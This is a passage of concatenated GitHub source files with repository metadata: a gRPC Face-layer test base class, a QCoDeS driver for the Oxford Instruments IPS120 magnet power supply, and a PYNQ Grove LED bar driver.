"ref": "refs/heads/main",
"path": "src/pydvkbiology/dnld/uniprot/sprot_sce_ac2nt.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Makefile",
"bytes": "2491"
},
{
"name": "Python",
"bytes": "6464545"
}
],
"symlink_target": ""
} |
"""Tools for creating tests of implementations of the Face layer."""
import abc
# face_interfaces and interfaces are referenced in specification in this module.
from grpc.framework.face import interfaces as face_interfaces # pylint: disable=unused-import
from tests.unit.framework.face.testing import interfaces # pylint: disable=unused-import
class FaceTestCase(object):
"""Describes a test of the Face Layer of RPC Framework.
Concrete subclasses must also inherit from unittest.TestCase and from at least
one class that defines test methods.
"""
__metaclass__ = abc.ABCMeta
@abc.abstractmethod
def set_up_implementation(
self, name, methods, method_implementations,
multi_method_implementation):
"""Instantiates the Face Layer implementation under test.
Args:
name: The service name to be used in the test.
methods: A sequence of interfaces.Method objects describing the RPC
methods that will be called during the test.
method_implementations: A dictionary from string RPC method name to
face_interfaces.MethodImplementation object specifying
implementation of an RPC method.
multi_method_implementation: An face_interfaces.MultiMethodImplementation
or None.
Returns:
A sequence of length two the first element of which is a
face_interfaces.GenericStub (backed by the given method
implementations), and the second element of which is an arbitrary memo
object to be kept and passed to tearDownImplementation at the conclusion
of the test.
"""
raise NotImplementedError()
@abc.abstractmethod
def tear_down_implementation(self, memo):
"""Destroys the Face layer implementation under test.
Args:
memo: The object from the second position of the return value of
set_up_implementation.
"""
raise NotImplementedError()
| {
"content_hash": "8744f9e74947dac2156d213280374219",
"timestamp": "",
"source": "github",
"line_count": 51,
"max_line_length": 94,
"avg_line_length": 37.254901960784316,
"alnum_prop": 0.7315789473684211,
"repo_name": "maxwell-demon/grpc",
"id": "23d4d919c2377ca7e3558a15368445f765445082",
"size": "3429",
"binary": false,
"copies": "4",
"ref": "refs/heads/master",
"path": "src/python/grpcio/tests/unit/framework/face/testing/test_case.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "Batchfile",
"bytes": "9946"
},
{
"name": "C",
"bytes": "4265348"
},
{
"name": "C#",
"bytes": "930595"
},
{
"name": "C++",
"bytes": "1144732"
},
{
"name": "DTrace",
"bytes": "147"
},
{
"name": "JavaScript",
"bytes": "253879"
},
{
"name": "Makefile",
"bytes": "1740185"
},
{
"name": "Objective-C",
"bytes": "252762"
},
{
"name": "PHP",
"bytes": "92059"
},
{
"name": "Protocol Buffer",
"bytes": "95233"
},
{
"name": "Python",
"bytes": "1482701"
},
{
"name": "Ruby",
"bytes": "400168"
},
{
"name": "Shell",
"bytes": "31892"
},
{
"name": "Swift",
"bytes": "5275"
}
],
"symlink_target": ""
} |
import logging
from qcodes import VisaInstrument
from qcodes import validators as vals
from time import time, sleep
import visa
import types
import logging
import numpy
import struct
class OxfordInstruments_IPS120(VisaInstrument):
"""This is the python driver for the Oxford Instruments IPS 120 Magnet Power Supply
Usage:
Initialize with
<name> = instruments.create('name', 'OxfordInstruments_IPS120', address='<Instrument address>')
<Instrument address> = ASRL1::INSTR
Note: Since the ISOBUS allows for several instruments to be managed in parallel, the command
which is sent to the device starts with '@n', where n is the ISOBUS instrument number.
"""
# TODO(copied from original): get doesn't always update the wrapper! (e.g.
# when input is an int and output is a string)
def __init__(self, name, address, number=2, verbose=1, reset=False, **kwargs):
"""Initializes the Oxford Instruments IPS 120 Magnet Power Supply.
Input:
name (string) : name of the instrument
address (string) : instrument address
number (int) : ISOBUS instrument number
Output:
None
"""
self.verbose = verbose
logging.debug(__name__ + ' : Initializing instrument')
super().__init__(name, address, **kwargs)
self._address = address
self._number = number
# self._visainstrument = visa.SerialInstrument(self._address)
self._values = {}
self.visa_handle.set_visa_attribute(visa.constants.VI_ATTR_ASRL_STOP_BITS,
visa.constants.VI_ASRL_STOP_TWO)
#####
# # Add parameters
# self.add_parameter('mode2', type=types.IntType,
# flags=Instrument.FLAG_GET,
# format_map={
# 0: "At rest",
# 1: "Sweeping",
# 2: "Sweep limiting",
# 3: "Sweeping and sweep limiting"})
# self.add_parameter(
# 'activity',
# type=types.IntType,
# flags=Instrument.FLAG_GETSET | Instrument.FLAG_GET_AFTER_SET,
# format_map={
# 0: "Hold",
# 1: "To set point",
# 2: "To zero",
# 4: "Output clamped"})
# self.add_parameter(
# 'switch_heater',
# type=types.IntType,
# flags=Instrument.FLAG_GETSET | Instrument.FLAG_GET_AFTER_SET,
# format_map={
# 0: "Off magnet at zero (switch closed)",
# 1: "On (switch open)",
# 2: "Off magnet at field (switch closed)",
# 5: "Heater fault (heater is on but current is low)",
# 8: "No switch fitted"})
# self.add_parameter(
# 'field_setpoint',
# type=types.FloatType,
# flags=Instrument.FLAG_GETSET | Instrument.FLAG_GET_AFTER_SET,
# minval=-8,
# maxval=8)
# self.add_parameter(
# 'sweeprate_field',
# type=types.FloatType,
# flags=Instrument.FLAG_GETSET | Instrument.FLAG_GET_AFTER_SET,
# minval=0,
# maxval=0.524)
#
# # Find the F field limits
# MaxField = self.get_parameters()['field_setpoint']['maxval']
# MinField = self.get_parameters()['field_setpoint']['minval']
# MaxFieldSweep = self.get_parameters()['sweeprate_field']['maxval']
# MinFieldSweep = self.get_parameters()['sweeprate_field']['minval']
# # A to B conversion
# ABconversion = 115.733 / 14 # Ampere per Tesla
# self.add_parameter(
# 'current_setpoint',
# type=types.FloatType,
# flags=Instrument.FLAG_GETSET | Instrument.FLAG_GET_AFTER_SET,
# minval=ABconversion * MinField,
# maxval=ABconversion * MaxField)
# self.add_parameter(
# 'sweeprate_current',
# type=types.FloatType,
# flags=Instrument.FLAG_GETSET | Instrument.FLAG_GET_AFTER_SET,
# minval=ABconversion * MinFieldSweep,
# maxval=ABconversion * MaxFieldSweep)
#
self.add_parameter('remote_status',
get_cmd=self._do_get_remote_status,
set_cmd=self._do_set_remote_status,
vals=vals.Ints())
self.add_parameter('current',
get_cmd=self._do_get_current,
units='A')
self.add_parameter('magnet_current',
get_cmd=self._do_get_magnet_current,
units='A')
# self.add_parameter('field', type=types.FloatType,
# flags=Instrument.FLAG_GET)
# self.add_parameter('persistent_current', type=types.FloatType,
# flags=Instrument.FLAG_GET)
# self.add_parameter('persistent_field', type=types.FloatType,
# flags=Instrument.FLAG_GET)
try:
self.visa_handle.write('@%s%s' %(self._number, 'V'))
sleep(100e-3) # wait for the device to be able to respond
self._read() # to flush the buffer
except:
pass
# Add functions
# self.add_function('get_all')
# self.get_all()
def get_all(self):
'''
Reads all implemented parameters from the instrument,
and updates the wrapper.
Input:
None
Output:
None
'''
logging.info(__name__ + ' : reading all settings from instrument')
self.remote_status.get()
self.get_current()
self.get_magnet_current()
self.get_current_setpoint()
self.get_sweeprate_current()
self.get_field()
self.get_field_setpoint()
self.get_sweeprate_field()
self.get_persistent_current()
self.get_persistent_field()
self.get_activity()
self.get_switch_heater()
self.get_mode2()
# Functions
def _execute(self, message):
"""
Write a command to the device
Input:
message (str) : write command for the device
Output:
None
"""
logging.info(
__name__ +
' : Send the following command to the device: %s' %
message)
self.visa_handle.write('@%s%s' % (self._number, message))
sleep(70e-3) # wait for the device to be able to respond
result = self._read()
if result.find('?') >= 0:
print("Error: Command %s not recognized" % message)
else:
return result
def _read(self):
"""
Reads the total bytes in the buffer and outputs as a string.
Input:
None
Output:
message (str)
"""
# because protocol has no termination chars the read reads the number
# of bytes in the buffer
bytes_in_buffer = self.visa_handle.bytes_in_buffer
# a workaround for a timeout error in the pyvsia read_raw() function
with(self.visa_handle.ignore_warning(visa.constants.VI_SUCCESS_MAX_CNT)):
mes = self.visa_handle.visalib.read(
self.visa_handle.session, bytes_in_buffer)
mes = str(mes[0].decode()) # cannot be done on same line for some reason
# if mes[1] != 0:
# # see protocol descriptor for error codes
# raise Exception('IVVI rack exception "%s"' % mes[1])
return mes
def identify(self):
"""
Identify the device
Input:
None
Output:
None
"""
logging.info(__name__ + ' : Identify the device')
return self._execute('V')
def examine(self):
'''
Examine the status of the device
Input:
None
Output:
None
'''
logging.info(__name__ + ' : Examine status')
print('System Status: ')
print(self.get_system_status())####
print('Activity: ')
print(self.get_activity())######
print('Local/Remote status: ')
print(self.remote_status.get())
print('Switch heater: ')
print(self.get_switch_heater())########
print('Mode: ')
print(self.get_mode())######
print('Polarity: ')
print(self.get_polarity())######
def remote(self):
"""
Set control to remote and unlocked
Input:
None
Output:
None
"""
logging.info(__name__ + ' : Set control to remote and unlocked')
self.remote_status.set(3)
def local(self):
"""
Set control to local and unlcoked
Input:
None
Output:
None
"""
logging.info(__name__ + ' : Set control to local and unlocked')
self.remote_status.set(2)
def close(self):
"""
Safely close connection
"""
logging.info(__name__ + ' : Closing IPS120 connection')
self.local()
super().close()
def _do_get_remote_status(self):
"""
Get remote control status
Input:
None
Output:
result(str) :
"Local & locked",
"Remote & locked",
"Local & unlocked",
"Remote & unlocked",
"Auto-run-down",
"Auto-run-down",
"Auto-run-down",
"Auto-run-down"
"""
logging.info(__name__ + ' : Get remote control status')
result = self._execute('X')
val_mapping = {0: "Local and locked",
1: "Remote and locked",
2: "Local and unlocked",
3: "Remote and unlocked",
4: "Auto-run-down",
5: "Auto-run-down",
6: "Auto-run-down",
7: "Auto-run-down"}
return val_mapping[int(result[6])]
def _do_set_remote_status(self, mode):
"""
Set remote control status.
Input:
mode(int) :
0 : "Local and locked",
1 : "Remote and locked" (not available),
2 : "Local and unlocked",
3 : "Remote and unlocked",
Output:
None
"""
status = {
0: "Local and locked",
2: "Local and unlocked",
3: "Remote and unlocked",
}
if status.__contains__(mode):
logging.info(
__name__ +
' : Setting remote control status to %s' %
status.get(
mode,
"Unknown"))
self._execute('C%s' % mode)
else:
print('Invalid mode inserted: %s' % mode)
def get_system_status(self):
"""
Get the system status
Input:
None
Output:
result (str) :
"Normal",
"Quenched",
"Over Heated",
"Warming Up",
"Fault"
"""
result = self._execute('X')
logging.info(__name__ + ' : Getting system status')
status = {0: "Normal",
1: "Quenched",
2: "Over Heated",
3: "Warming Up",
4: "Fault"}
return status[int(result[1])]
def get_system_status2(self):
"""
Get the system status
Input:
None
Output:
result (str) :
"Normal",
"On positive voltage limit",
"On negative voltage limit",
"Outside negative current limit",
"Outside positive current limit"
"""
result = self._execute('X')
logging.info(__name__ + ' : Getting system status')
status = {0: "Normal",
1: "On positive voltage limit",
2: "On negative voltage limit",
3: "Outside negative current limit",
4: "Outside positive current limit"}
return status[int(result[2])]
def _do_get_current(self):
"""
Demand output current of device
Input:
None
Output:
result (float) : output current in Amp
"""
logging.info(__name__ + ' : Read output current')
result = self._execute('R0')
return float(result.replace('R', ''))
def get_voltage(self):
"""
Demand measured output voltage of device
Input:
None
Output:
result (float) : output voltage in Volt
"""
logging.info(__name__ + ' : Read output voltage')
result = self._execute('R1')
return float(result.replace('R', ''))
def _do_get_magnet_current(self):
"""
Demand measured magnet current of device
Input:
None
Output:
result (float) : measured magnet current in Amp
"""
logging.info(__name__ + ' : Read measured magnet current')
result = self._execute('R2')
return float(result.replace('R', ''))
def _do_get_current_setpoint(self):
"""
Return the set point (target current)
Input:
None
Output:
result (float) : Target current in Amp
"""
logging.info(__name__ + ' : Read set point (target current)')
result = self._execute('R5')
return float(result.replace('R', ''))
def _do_set_current_setpoint(self, current):
'''
Set current setpoint (target current)
Input:
current (float) : target current in Amp
Output:
None
'''
logging.info(__name__ + ' : Setting target current to %s' % current)
self.remote()
self._execute('I%s' % current)
self.local()
self.get_field_setpoint() # Update field setpoint
def _do_get_sweeprate_current(self):
"""
Return sweep rate (current)
Input:
None
Output:
result (float) : sweep rate in Amp/min
"""
logging.info(__name__ + ' : Read sweep rate (current)')
result = self._execute('R6')
return float(result.replace('R', ''))
def _do_set_sweeprate_current(self, sweeprate):
'''
Set sweep rate (current)
Input:
sweeprate(float) : Sweep rate in Amps/min.
Output:
None
'''
self.remote()
logging.info(
__name__ +
' : Set sweep rate (current) to %s Amps/min' %
sweeprate)
self._execute('S%s' % sweeprate)
self.local()
self.get_sweeprate_field() # Update sweeprate_field
def _do_get_field(self):
"""
Demand output field
Input:
None
Output:
result (float) : Output field in Tesla
"""
logging.info(__name__ + ' : Read output field')
result = self._execute('R7')
return float(result.replace('R', ''))
def _do_get_field_setpoint(self):
"""
Return the set point (target field)
Input:
None
Output:
result (float) : Field set point in Tesla
"""
logging.info(__name__ + ' : Read field set point')
result = self._execute('R8')
return float(result.replace('R', ''))
def _do_set_field_setpoint(self, field):
'''
Set the field set point (target field)
Input:
field (float) : target field in Tesla
Output:
None
'''
logging.info(__name__ + ' : Setting target field to %s' % field)
self.remote()
self._execute('J%s' % field)
self.local()
self.get_current_setpoint() # Update current setpoint
def _do_get_sweeprate_field(self):
'''
Return sweep rate (field)
Input:
None
Output:
result (float) : sweep rate in Tesla/min
'''
logging.info(__name__ + ' : Read sweep rate (field)')
result = self._execute('R9')
return float(result.replace('R', ''))
def _do_set_sweeprate_field(self, sweeprate):
'''
Set sweep rate (field)
Input:
sweep rate in T/min
sweeprate(float) : Sweep rate in Tesla/min.
Output:
None
'''
logging.info(
__name__ +
' : Set sweep rate (field) to %s Tesla/min' %
sweeprate)
self.remote()
self._execute('T%s' % sweeprate)
self.local()
self.get_sweeprate_current() # Update sweeprate_current
def get_voltage_limit(self):
'''
Return voltage limit
Input:
None
Output:
result (float) : voltage limit in Volt
'''
logging.info(__name__ + ' : Read voltage limit')
result = self._execute('R15')
result = float(result.replace('R', ''))
self.set_parameter_bounds('voltage', -result, result)
return result
def _do_get_persistent_current(self):
'''
Return persistent magnet current
Input:
None
Output:
result (float) : persistent magnet current in Amp
'''
logging.info(__name__ + ' : Read persistent magnet current')
result = self._execute('R16')
return float(result.replace('R', ''))
def get_trip_current(self):
'''
Return trip current
Input:
None
Output:
result (float) : trip current om Amp
'''
logging.info(__name__ + ' : Read trip current')
result = self._execute('R17')
return float(result.replace('R', ''))
def _do_get_persistent_field(self):
'''
Return persistent magnet field
Input:
None
Output:
result (float) : persistent magnet field in Tesla
'''
logging.info(__name__ + ' : Read persistent magnet field')
result = self._execute('R18')
return float(result.replace('R', ''))
def get_trip_field(self):
'''
Return trip field
Input:
None
Output:
result (float) : trip field in Tesla
'''
logging.info(__name__ + ' : Read trip field')
result = self._execute('R19')
return float(result.replace('R', ''))
def get_heater_current(self):
'''
Return switch heater current
Input:
None
Output:
result (float) : switch heater current in milliAmp
'''
logging.info(__name__ + ' : Read switch heater current')
result = self._execute('R20')
return float(result.replace('R', ''))
def get_current_limit_upper(self):
'''
Return safe current limit, most positive
Input:
None
Output:
result (float) : safe current limit, most positive in Amp
'''
logging.info(__name__ + ' : Read safe current limit, most positive')
result = self._execute('R22')
return float(result.replace('R', ''))
def get_current_limit_lower(self):
'''
Return safe current limit, most negative
Input:
None
Output:
result (float) : safe current limit, most negative in Amp
'''
logging.info(__name__ + ' : Read safe current limit, most negative')
result = self._execute('R21')
return float(result.replace('R', ''))
def get_lead_resistance(self):
'''
Return lead resistance
Input:
None
Output:
result (float) : lead resistance in milliOhm
'''
logging.info(__name__ + ' : Read lead resistance')
result = self._execute('R23')
return float(result.replace('R', ''))
def get_magnet_inductance(self):
'''
Return magnet inductance
Input:
None
Output:
result (float) : magnet inductance in Henry
'''
logging.info(__name__ + ' : Read magnet inductance')
result = self._execute('R24')
return float(result.replace('R', ''))
def _do_get_activity(self):
'''
Get the activity of the magnet. Possibilities: Hold, Set point, Zero or Clamp.
Input:
None
Output:
result(str) : "Hold", "Set point", "Zero" or "Clamp".
'''
result = self._execute('X')
logging.info(__name__ + ' : Get activity of the magnet.')
return int(result[4])
def _do_set_activity(self, mode):
'''
Set the activity to Hold, To Set point or To Zero.
Input:
mode (int) :
0 : "Hold",
1 : "To set point",
2 : "To zero"
4 : "Clamped" (not included)
Output:
None
'''
status = {
0: "Hold",
1: "To set point",
2: "To zero"
}
if status.__contains__(mode):
logging.info(
__name__ +
' : Setting magnet activity to %s' %
status.get(
mode,
"Unknown"))
self.remote()
self._execute('A%s' % mode)
self.local()
else:
print('Invalid mode inserted.')
def hold(self):
'''
Set the device activity to "Hold"
Input:
None
Output:
None
'''
self.set_activity(0)
def to_setpoint(self):
'''
Set the device activity to "To set point". This initiates a sweep.
Input:
None
Output:
None
'''
self.set_activity(1)
def to_zero(self):
'''
Set the device activity to "To zero". This sweeps te magnet back to zero.
Input:
None
Output:
None
'''
self.set_activity(2)
def _do_get_switch_heater(self):
'''
Get the switch heater status.
Input:
None
Output:
result(str) : "Off magnet at zero", "On (switch open)", "Off magnet at field (switch closed)",
"Heater fault (heater is on but current is low)" or "No switch fitted".
'''
logging.info(__name__ + ' : Get switch heater status')
result = self._execute('X')
return int(result[8])
def _do_set_switch_heater(self, mode):
'''
Set the switch heater Off or On. Note: After issuing a command it is necessary to wait
several seconds for the switch to respond.
Input:
mode (int) :
0 : "Off",
1 : "On, if PSU = Magnet",
2 : "On, No checks" (not available)
Output:
None
'''
status = {
0: "Off",
1: "On, if PSU = Magnet"
}
if status.__contains__(mode):
logging.info(
__name__ +
' : Setting switch heater to %s' %
status.get(
mode,
"Unknown"))
self.remote()
self._execute('H%s' % mode)
print("Setting switch heater... (wait 40s)")
self.local()
sleep(40)
else:
print('Invalid mode inserted.')
sleep(0.1)
self.get_switch_heater()
def heater_on(self):
'''
Switch the heater on, with PSU = Magnet current check
Input:
None
Output:
None
'''
current_in_magnet = self.get_persistent_current()
current_in_leads = self.get_current()
if self.get_switch_heater() == 1:
print('Heater is already on!')
else:
if self.get_mode2() == 0:
if current_in_leads == current_in_magnet:
self.set_switch_heater(1)
else:
print('Current in the leads is not matching persistent current!')
else:
print('Magnet supply not at rest, cannot switch on heater!')
self.get_switch_heater()
def set_persistent(self):
'''
Puts magnet into persistent mode
'''
if self.get_mode() == 0:
self.heater_off()
sleep(20)
self.to_zero()
self.get_all()
else:
print('Magnet is not at rest, cannot put it in persistent mode')
self.get_all()
def leave_persistent_mode(self):
'''
Read out persistent current, match the current in the leads to that current
and switch on heater
Input:
None
Output:
None
'''
if self.get_switch_heater() == 2:
current_in_magnet = self.get_persistent_current()
current_in_leads = self.get_current()
self.hold()
self.set_current_setpoint(current_in_magnet)
self.to_setpoint()
while current_in_leads != current_in_magnet:
current_in_leads = self.get_current()
self.heater_on()
self.hold()
elif self.get_switch_heater() == 1:
print('Heater is already on, so the magnet was not in persistent mode')
elif self.get_switch_heater() == 0:
print('Heater is off, but magnet is not in persistent mode. Please, check magnet locally!')
self.get_all()
self.get_changed()
def run_to_field(self, field_value):
if self.get_switch_heater() == 1:
self.hold()
self.set_field_setpoint(field_value)
self.to_setpoint()
else:
print('Switch heater is off, cannot change the field.')
self.get_all()
def run_to_field_wait(self, field_value):
'''
Please comment this...
Go to field_value and wait until it's done sweeping.
'''
if self.get_switch_heater() == 1:
self.hold()
self.set_field_setpoint(field_value)
self.to_setpoint()
self.local()
magnet_mode = self.get_mode2()
while magnet_mode != 0:
print('Magnet still sweeping, current field %s' % self.get_field())
magnet_mode = self.get_mode2()
sleep(0.5)
else:
print('Switch heater is off, cannot change the field.')
self.get_all()
self.local()
def heater_off(self):
'''
Switch the heater off
Input:
None
Output:
None
'''
if self.get_switch_heater() == 0 | 2:
print('Heater is already off!')
else:
if self.get_mode2() == 0:
self.set_switch_heater(0)
else:
print('Magnet is not at rest, cannot switch of the heater!')
def get_mode(self):
'''
Get the Mode of the device
Input:
None
Output:
"Amps, Magnet sweep: fast",
"Tesla, Magnet sweep: fast",
"Amps, Magnet sweep: slow",
"Tesla, Magnet sweep: slow"
'''
logging.info(__name__ + ' : Get device mode')
result = self._execute('X')
return int(result[10])
def _do_get_mode2(self):
'''
Get the Mode of the device
Input:
None
Output:
"At rest",
"Sweeping",
"Sweep limiting",
"Sweeping & sweep limiting"
'''
logging.info(__name__ + ' : Get device mode')
result = self._execute('X')
return int(result[11])
def set_mode(self, mode):
'''
Input:
mode(int):
0 : "Amps, Magnet sweep: fast",
1 : "Tesla, Magnet sweep: fast",
4 : "Amps, Magnet sweep: slow",
5 : "Tesla, Magnet sweep: slow"
8 : "Amps, (Magnet sweep: unaffected)",
9 : "Tesla, (Magnet sweep: unaffected)"
Output:
None
'''
status = {
0: "Amps, Magnet sweep: fast",
1: "Tesla, Magnet sweep: fast",
4: "Amps, Magnet sweep: slow",
5: "Tesla, Magnet sweep: slow",
8: "Amps, (Magnet sweep: unaffected)",
9: "Tesla, (Magnet sweep: unaffected)"
}
if status.__contains__(mode):
logging.info(
__name__ +
' : Setting device mode to %s' %
status.get(
mode,
"Unknown"))
self.remote()
self._execute('M%s' % mode)
self.local()
else:
print('Invalid mode inserted.')
def get_polarity(self):
'''
Get the polarity of the output current
Input:
None
Output:
result (str) :
"Desired: Positive, Magnet: Positive, Commanded: Positive",
"Desired: Positive, Magnet: Positive, Commanded: Negative",
"Desired: Positive, Magnet: Negative, Commanded: Positive",
"Desired: Positive, Magnet: Negative, Commanded: Negative",
"Desired: Negative, Magnet: Positive, Commanded: Positive",
"Desired: Negative, Magnet: Positive, Commanded: Negative",
"Desired: Negative, Magnet: Negative, Commanded: Positive",
"Desired: Negative, Magnet: Negative, Commanded: Negative"
'''
status1 = {
0: "Desired: Positive, Magnet: Positive, Commanded: Positive",
1: "Desired: Positive, Magnet: Positive, Commanded: Negative",
2: "Desired: Positive, Magnet: Negative, Commanded: Positive",
3: "Desired: Positive, Magnet: Negative, Commanded: Negative",
4: "Desired: Negative, Magnet: Positive, Commanded: Positive",
5: "Desired: Negative, Magnet: Positive, Commanded: Negative",
6: "Desired: Negative, Magnet: Negative, Commanded: Positive",
7: "Desired: Negative, Magnet: Negative, Commanded: Negative"
}
status2 = {
1: "Negative contactor closed",
2: "Positive contactor closed",
3: "Both contactors open",
4: "Both contactors closed"
}
logging.info(__name__ + ' : Get device polarity')
result = self._execute('X')
return status1.get(int(result[13]), "Unknown") + \
", " + status2.get(int(result[14]), "Unknown")
def get_changed(self):
print("Current: ")
print(self.get_current())
print("Field: ")
print(self.get_field())
print("Magnet current: ")
print(self.get_magnet_current())
print("Heater current: ")
print(self.get_heater_current())
print("Mode: ")
print(self.get_mode())
| {
"content_hash": "79a5b1e81911bd9433a79e0c3b7b69bc",
"timestamp": "",
"source": "github",
"line_count": 1073,
"max_line_length": 106,
"avg_line_length": 29.295433364398882,
"alnum_prop": 0.49869567983711904,
"repo_name": "takafumifujita/qcodes-driver-test-TF",
"id": "f40f8f1764ec974ec19f567edb3f73b427f1fca1",
"size": "32439",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "IPS120.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Batchfile",
"bytes": "340"
},
{
"name": "Python",
"bytes": "72874"
}
],
"symlink_target": ""
} |
__author__ = "Naveen Purushotham"
__copyright__ = "Copyright 2016, Xilinx"
__email__ = "pynq_support@xilinx.com"
import time
import struct
from pynq import MMIO
from pynq.iop import request_iop
from pynq.iop import iop_const
from pynq.iop import PMODA
from pynq.iop import PMODB
from pynq.iop import ARDUINO
from pynq.iop import PMOD_GROVE_G1
from pynq.iop import PMOD_GROVE_G2
from pynq.iop import PMOD_GROVE_G3
from pynq.iop import PMOD_GROVE_G4
from pynq.iop import ARDUINO_GROVE_G1
from pynq.iop import ARDUINO_GROVE_G2
from pynq.iop import ARDUINO_GROVE_G3
from pynq.iop import ARDUINO_GROVE_G4
from pynq.iop import ARDUINO_GROVE_G5
from pynq.iop import ARDUINO_GROVE_G6
from pynq.iop import ARDUINO_GROVE_G7
PMOD_GROVE_LEDBAR_PROGRAM = "pmod_grove_ledbar.bin"
ARDUINO_GROVE_LEDBAR_PROGRAM = "arduino_grove_ledbar.bin"
class Grove_LEDbar(object):
"""This class controls the Grove LED BAR.
Grove LED Bar is comprised of a 10 segment LED gauge bar and an MY9221 LED
controlling chip. Model: LED05031P. Hardware version: v2.0.
Attributes
----------
iop : _IOP
I/O processor instance used by Grove_LEDbar.
mmio : MMIO
Memory-mapped I/O instance to read and write instructions and data.
"""
def __init__(self, if_id, gr_pin):
"""Return a new instance of an Grove LEDbar object.
Note
----
Valid StickIt group ID is currently only 1.
Parameters
----------
if_id : int
IOP ID (1, 2, 3) corresponding to (PMODA, PMODB, ARDUINO).
gr_pin: list
A group of pins on stickit connector or arduino shield.
"""
if if_id in [PMODA, PMODB]:
if not gr_pin in [PMOD_GROVE_G1,
PMOD_GROVE_G2,
PMOD_GROVE_G3,
PMOD_GROVE_G4]:
raise ValueError("LEDbar group number can only be G1 - G4.")
GROVE_LEDBAR_PROGRAM = PMOD_GROVE_LEDBAR_PROGRAM
elif if_id in [ARDUINO]:
if not gr_pin in [ARDUINO_GROVE_G1,
ARDUINO_GROVE_G2,
ARDUINO_GROVE_G3,
ARDUINO_GROVE_G4,
ARDUINO_GROVE_G5,
ARDUINO_GROVE_G6,
ARDUINO_GROVE_G7]:
raise ValueError("LEDbar group number can only be G1 - G7.")
GROVE_LEDBAR_PROGRAM = ARDUINO_GROVE_LEDBAR_PROGRAM
else:
raise ValueError("No such IOP for grove device.")
self.iop = request_iop(if_id, GROVE_LEDBAR_PROGRAM)
self.mmio = self.iop.mmio
self.iop.start()
# Write GPIO pin config
self.mmio.write(iop_const.MAILBOX_OFFSET, gr_pin[0])
self.mmio.write(iop_const.MAILBOX_OFFSET+4, gr_pin[1])
# Write configuration and wait for ACK
self.mmio.write(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET, 1)
while not (self.mmio.read(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET) == 0):
pass
def reset(self):
"""Resets the LEDbar.
Clears the LED bar, sets all LEDs to OFF state.
Returns
-------
None
"""
self.mmio.write(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET, 0x3)
while not (self.mmio.read(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET) == 0):
pass
def write_binary(self, data_in):
"""Set individual LEDs in the LEDbar based on 10 bit binary input.
Each bit in the 10-bit `data_in` points to a LED position on the
LEDbar. Red LED corresponds to the LSB, while green LED corresponds
to the MSB.
Parameters
----------
data_in : int
10 LSBs of this parameter control the LEDbar.
Returns
-------
None
"""
self.mmio.write(iop_const.MAILBOX_OFFSET, data_in)
self.mmio.write(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET, 0x5)
while not (self.mmio.read(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET) == 0):
pass
def write_brightness(self, data_in, brightness=[0xAA]*10):
"""Set individual LEDs with 3 level brightness control.
Each bit in the 10-bit `data_in` points to a LED position on the
LEDbar. Red LED corresponds to the LSB, while green LED corresponds
to the MSB.
Brightness of each LED is controlled by the brightness parameter.
There are 3 perceivable levels of brightness:
0xFF : HIGH
0xAA : MED
0x01 : LOW
Parameters
----------
data_in : int
10 LSBs of this parameter control the LEDbar.
brightness : list
Each List element controls a single LED.
Returns
-------
None
"""
self.mmio.write(iop_const.MAILBOX_OFFSET, data_in)
for i in range(0,10):
self.mmio.write(iop_const.MAILBOX_OFFSET + 4*(i+1),
brightness[i])
self.mmio.write(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET, 0x7)
while not (self.mmio.read(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET) == 0):
pass
def write_level(self, level, bright_level, green_to_red):
"""Set the level to which the leds are to be lit in levels 1 - 10.
Level can be set in both directions. `set_level` operates by setting
all LEDs to the same brightness level.
There are 4 preset brightness levels:
bright_level = 0: off
bright_level = 1: low
bright_level = 2: medium
bright_level = 3: maximum
`green_to_red` indicates the direction, either from red to green when
it is 0, or green to red when it is 1.
Parameters
----------
level : int
10 levels exist, where 1 is minimum and 10 is maximum.
bright_level : int
Controls brightness of all LEDs in the LEDbar, from 0 to 3.
green_to_red : int
Sets the direction of the sequence.
Returns
-------
None
"""
self.mmio.write(iop_const.MAILBOX_OFFSET, level)
self.mmio.write(iop_const.MAILBOX_OFFSET + 0x4, bright_level)
self.mmio.write(iop_const.MAILBOX_OFFSET + 0x8, green_to_red)
self.mmio.write(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET, 0x9)
while not (self.mmio.read(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET) == 0):
pass
def read(self):
"""Reads the current status of LEDbar.
Reads the current status of LED bar and returns 10-bit binary string.
Each bit position corresponds to a LED position in the LEDbar,
and bit value corresponds to the LED state.
Red LED corresponds to the LSB, while green LED corresponds
to the MSB.
Returns
-------
str
String of 10 binary bits.
"""
self.mmio.write(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET, 0xB)
while not (self.mmio.read(iop_const.MAILBOX_OFFSET +
iop_const.MAILBOX_PY2IOP_CMD_OFFSET) == 0):
pass
value = self.mmio.read(iop_const.MAILBOX_OFFSET)
return bin(value)[2:].zfill(10)
| {
"content_hash": "027adf108d0fb1005496d44b04463d70",
"timestamp": "",
"source": "github",
"line_count": 229,
"max_line_length": 78,
"avg_line_length": 35.72052401746725,
"alnum_prop": 0.5491442542787286,
"repo_name": "VectorBlox/PYNQ",
"id": "7c01a6d3273ea6417943487ca44daddbc216a2d8",
"size": "9800",
"binary": false,
"copies": "2",
"ref": "refs/heads/vectorblox",
"path": "python/pynq/iop/grove_ledbar.py",
"mode": "33261",
"license": "bsd-3-clause",
"language": [
{
"name": "Assembly",
"bytes": "80013"
},
{
"name": "Batchfile",
"bytes": "6291"
},
{
"name": "C",
"bytes": "3310479"
},
{
"name": "C++",
"bytes": "3036476"
},
{
"name": "JavaScript",
